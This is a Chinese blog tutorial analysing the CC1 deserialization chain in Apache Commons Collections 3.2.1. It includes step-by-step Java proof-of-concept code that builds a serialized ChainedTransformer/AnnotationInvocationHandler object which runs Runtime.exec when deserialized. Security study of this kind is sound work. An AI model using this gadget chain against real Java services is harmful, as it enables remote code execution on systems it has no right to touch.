Apache Commons Collection3.2.1反序列化分析(CC1)

2024-01-30 06:20

本文主要是介绍Apache Commons Collection3.2.1反序列化分析(CC1),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式,但其核心部分是相同的,不同之处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式:

image-20231225161904254

本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链。

此包的类包含下面两个,需要重点关注:

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类,比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似,Commons Collections也提供了一个MapUtils。

所谓BidiMap,直译就是双向Map,可以通过key找到value,也可以通过value找到key,这在我们日常的代码-名称匹配的时候很方便:因为我们除了需要通过代码找到名称之外,往往也需要处理用户输入的名称,然后获取其代码。需要注意的是BidiMap当中不光key不能重复,value也不可以。

所谓MultiMap,就是说一个key不再是简单的指向一个对象,而是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,利用MultiMap,我们就可以很方便的往一个key上放数量不定的对象,也就实现了一对多。

所谓LazyMap,意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用,而这两类对象的类型有可能并不是出于同一个继承体系的,或者说出了很基本的Object之外没有共同的父类,或者我们根本不关心他们是不是有其他继承关系,甚至就是同一个类的实例只是对我们而言无所谓,我们为了它能够被后续的调用者有意义的识别和处理,在这样的情形,我们就可以利用Transformer。除了基本的转型Transformer之外,Commons Collections还提供了Transformer链和带条件的Transformer,使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

由于存在漏洞的版本 commons-collections3.1-3.2.1

jdk 8u71之后已修复不可用

这里下载JDK-8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

下载安装,接下来就是配置到IDEA里面:

新建一个maven项目->项目JDK->添加JDK,找到我们刚安装的jdk-8u65

image-20231220174743475

然后配置Maven依赖下载CommonsCollections3.2.1版本

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20231220174925789

由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20231220180043245

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,将其解压,然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

image-20231220180438271

打开IDEA,选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。

image-20231220180609853

然后我们去sun包里面看一下代码,不再显示.class

image-20231220180849093

这样环境就配置完了。

反序列化分析

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法(有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了readObject方法的类,并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**),这就是大致的Java漏洞链流程。

源头

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法

image-20231221154622614

然后就是寻找继承了这个接口的类 :ctrl+alt+b

image-20231221154734308

可以看到有很多类,我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。

image-20231221154947791

InvokerTransformer.transform()

定位到InvokerTransformer的transform方法

image-20231221155528294

//重写的transform方法
public Object transform(Object input) { //接收一个对象if (input == null) {return null;}try {Class cls = input.getClass();                               //可控的获取一个完整类的原型Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法return method.invoke(input, iArgs);                         //调用该类的方法//可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点......

可以看到,transform方法接受一个对象,不为空时,就会进行通过反射机制动态地调用对象的特定方法。

iMethodNameiParamTypesiArgs这几个参数都是通过构造函数控制的,并且为public:

image-20231221160125224

//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;
}

因为这些参数我们都可以控制,也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法,比如弹一个计算器:

测试代码1
/*      利用反射调用Runtime中的exec方法:Runtime r=Runtime.getRuntime();Class c=r.getClass();Method m=c.getMethod("exec", String.class);m.invoke(r,"calc");*/Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);#其实就是相当于通过transform方法来实现了我们最基本的反射过程。

image-20231221162227834

可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类(没有的话就寄了)

寻找某个类中的某个方法调用了transform方法,直接对这个方法右键查找用法(alt+F7),可以看到有很多都调用了这个方法

image-20231221163300658

TransformedMap.checkSetValue()

这里我们直接来到TransformedMap类下的checkSetValue方法

image-20231221163544176

我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {//接受三个参数,第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了,可控。super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; //这里是可控的}protected Object checkSetValue(Object value) { //接受一个对象类型的参数return valueTransformer.transform(value);//返回valueTransformer对应的transform方法
}

可以看到,我们只需要让valueTransformer等于我们之前的invokerTransformer对象,就又可以通过它来实现调用任意类的任意方法了。

但是这里有个问题,可以看到构造函数和方法都是protected权限的,也就是说只有在同一个包中才可以调用,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

TransformedMap.decorate()

很明显,该静态方法实例化了 TransformedMap对象,并且还是public方法,我们可以直接调用。

image-20231221164658990

因此,我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法,比如修改之前的代码,弹一个计算器:

测试代码2
//invokerTransformer就是上个payload的 invokerTransformer,没有变。
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMapMap<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer); 
//静态方法staic修饰,直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformerClass transformedMapClass = TransformedMap.class;  //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected,所以需要使用 setAccessible(true)改变其作用域,这样即使私有的方法,也可以访问调用了checkSetValueMethod.invoke(decorateMap,r); //invoke执行,Method.invoke()方法接受两个参数:1、调用方法的对象实例,2、要传递给方法的参数

image-20231221180505246

接下来我们就是要找哪里调用了 decorate 方法,但是并没有找到合适的,所以我们把目光再放回之前的 checkSetValue 方法,去找哪里调用了该方法。

这里我们同样查找用法(Alt+F7),发现只有一个地方调用了checkSetValue方法:AbstractInputCheckedMapDecorator类的setValue

image-20231221180921897

AbstractInputCheckedMapDecorator->MapEntry.setValue()

现在我们关注 TransformedMap 父类 AbstractInputCheckedMapDecorator 内部的子类 MapEntry 中的setValue方法。

image-20231221181345573

Entry代表的是Map中的一个键值对,而在Map中我们可以看到有setValue方法,我们在对Map进行遍历的时候可以调用setValue这个方法

image-20231221182453366

不过上面MapEntry类实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,

image-20231221185709098

而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法

测试代码3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("key","value"); //给map一个键值对,方便遍历Map<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer);//用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中,将当前的 Entry 对象赋值给变量 entry。每个 Entry 对象表示一个键值对,其中包括键和对应的值。
for(Map.Entry entry:decorateMap.entrySet()) { //decorateMap 是一个 Map 对象,entrySet() 方法返回一个包含 Map 中键值对(Entry)的集合。entry.setValue(r);           //调用setValue方法,设置该 Entry 对象的值为 r}

decorateMap 之前的东西和之前都一样,不再讲述,区别是我们这里遍历了 decorateMap 来触发 setValue 。(注意 map.put(“key”,“value”) ,要不然map里面没东西,后面进不去for循环)

decorateMap 是 TransformedMap 类的,该类没有再实现 entrySet 方法,所以会调用父类的 entrySet 方法。故在for 循环时会进入如下方法:

image-20231221192151087

首先进行判断,如果判断通过的话,就会返回一个 EntrySet 的实例,而我们的 isSetValueChecking() 是恒返回true的,所以也就无所谓,直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的,所以后面才可以调到 setValue 方法。效果如下:

image-20231221194156981

再来梳理一边这个过程:

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个decorateMap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的MapEntry副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

这里我们又找到了一个 setValue 方法,我们可以继续向上查找,看看有哪些方法里面调用了setValue并且可以被我们所利用 ,继续构造我们的链条。

这里看到了AnnotationInvocationHandler这个类,看到有个调用了setValue方法的readObject方法,很完美的实现了代替之前Map遍历功能

image-20231222150723868

AnnotationInvocationHandler.readObject()

这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法

image-20231222161153771

先来解释一下这段代码:

//这是一个私有方法,用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s,用于读取对象的序列化数据。 
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();//使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。// Check to make sure that types have not evolved incompatibly//这是一个自定义的类型,用于表示注解类型。AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.//使用 for 循环遍历 memberValues.entrySet(),将每个键值对赋值给memberValuefor (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();//根据成员名从 memberTypes 中获取对应的成员类型。Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still exists//获取当前循环迭代的值(成员值)。Object value = memberValue.getValue();//判断成员值是否与成员类型兼容if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {//如果成员值不兼容,将会创建一个新的 AnnotationTypeMismatchExceptionProxy 对象,并将其设置为对应的成员值。 memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}

可以看到,这里再调用setValue前面还要经过两个判断

我们看一下 memberValue 是怎么传入的,这里定位到构造函数:

image-20231222161610754

可以看到memberValue是可控的,我们只需要在构造时把 memberValue 传给他就行了,但是这个构造函数的修饰符是默认的,

我们知道在 Java 中,如果在构造函数的定义中没有指定修饰符(如 publicprivateprotected 或者默认的包级私有),那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用,但在不同包中的类中是不可见的。

也就是说这个类只能在sun.reflect.annotation这个包下被调用,我们要想在外部调用,需要用到反射来解决。

结合前面, 我们可以再次写出利用代码:

测试代码4
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("key", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(Override.class, decorateMap); //创建该类的实例,这里第一个参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

运行,然而无事发生,并没有我们想象中的弹框:

image-20231222165127995

问题1

调试看看,断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处:

image-20231222165756700

调试运行,

这里我们直接就跳到了最下面,很显然,if循环没有进去,这里判断memberType,但是我们的 memberType正好为空。

image-20231222172446056

memberType 来自 memberTypes , memberTypes 来自 annotationType , annotationType 来自 type ( annotationType = AnnotationType.getInstance(type); ):

image-20231222173720728

而 type 来自我们传入构造方法的参数

image-20231222173739549

我们这里的要求传入的注解参数,是要求有成员变量的,并且成员变量要和 map 里面的 key 对的上。( ! (memberType.isInstance(value)

image-20231222173829598

但是我们之前使用的Override注解没有成员变量,所以不行

image-20231222180722336

这里我们找到了SuppressWarnings注解,该注解有一个成员变量:

image-20231222174110657

于是,修改我们的代码如下(其实就修改了两行):

image-20231222175009856

问题2

改完之后运行,结果报错:

image-20231222175035484

找不到exec方法

runtime方法并没有被调用到:

image-20231222175304375

同时,readObject 方法里面 setValue 的参数的实例居然是写死的,根本没用办法利用???

image-20231222181344885

解决无法传入runtime的问题

image-20231221154734308

ConstantTransformer类

image-20231225144656492

该方法的构造函数会将传入的对象给到iConstant,该类的 transform 方法无论传入的什么对象都会返回iConstant 。 但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap,或者说没有办法建立 ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了 ChainedTransformer 类。

ChainedTransformer类

ChainedTransformer 类的 transform 方法:

image-20231225154324226

上述代码的意思是,如果给 ChainedTransformer 的属性 iTransformers 赋值为 ConstantTransformer 对象的话,则可以直接调用到ConstantTransformer的transform方法,如果赋值为 InvokerTransformer 对象的话,则可以直接调用到 InvokerTransformer 的 transform 方 法,则此时便有了一个关联关系,将 Runtime 对象通过 ConstantTransformer 进行赋值,然后就可以在构造链中得到 Runtime 对象了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r = Runtime.getRuntime();//InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class)  //Runtime没有serializable接口,不能被反序列化,我们需要用它的原型类class};ChainedTransformer chainedTransformer = newChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("value", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例,这里第一个是参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

image-20231225152337831

但是此时我们只穿入了 Runtime 对象,之前的 InvokerTransformer 没有传进来,不过这个事情也是简单的,因为 InvokerTransformer类 我们需要的方法也是 transform ,都是一个名字,所以他们是兼容的,再结合 ChainedTransformer 的 transform 的特点,上一次调用的对象是下次参数:

image-20231225154500449

因此我们得到如下payload:

测试代码5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r = Runtime.getRuntime();//InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);//创建一个Transformer数组用于储存InvokerTransformer的数据,便于遍历Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化,我们需要用它的原型类classnew InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("value", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例,这里第一个是参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

最后成功弹出来计算器:

image-20231225154519992

总结

经过上面的步骤,我们可以得到如下的调用链:

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map().setValue()TransformedMap.decorate()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

参考

https://xz.aliyun.com/t/12669

https://www.secpulse.com/archives/188750.html

这篇关于Apache Commons Collection3.2.1反序列化分析(CC1)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/659344

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等

OpenCV结构分析与形状描述符(11)椭圆拟合函数fitEllipse()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C++11 算法描述 围绕一组2D点拟合一个椭圆。 该函数计算出一个椭圆,该椭圆在最小二乘意义上最好地拟合一组2D点。它返回一个内切椭圆的旋转矩形。使用了由[90]描述的第一个算法。开发者应该注意,由于数据点靠近包含的 Mat 元素的边界,返回的椭圆/旋转矩形数据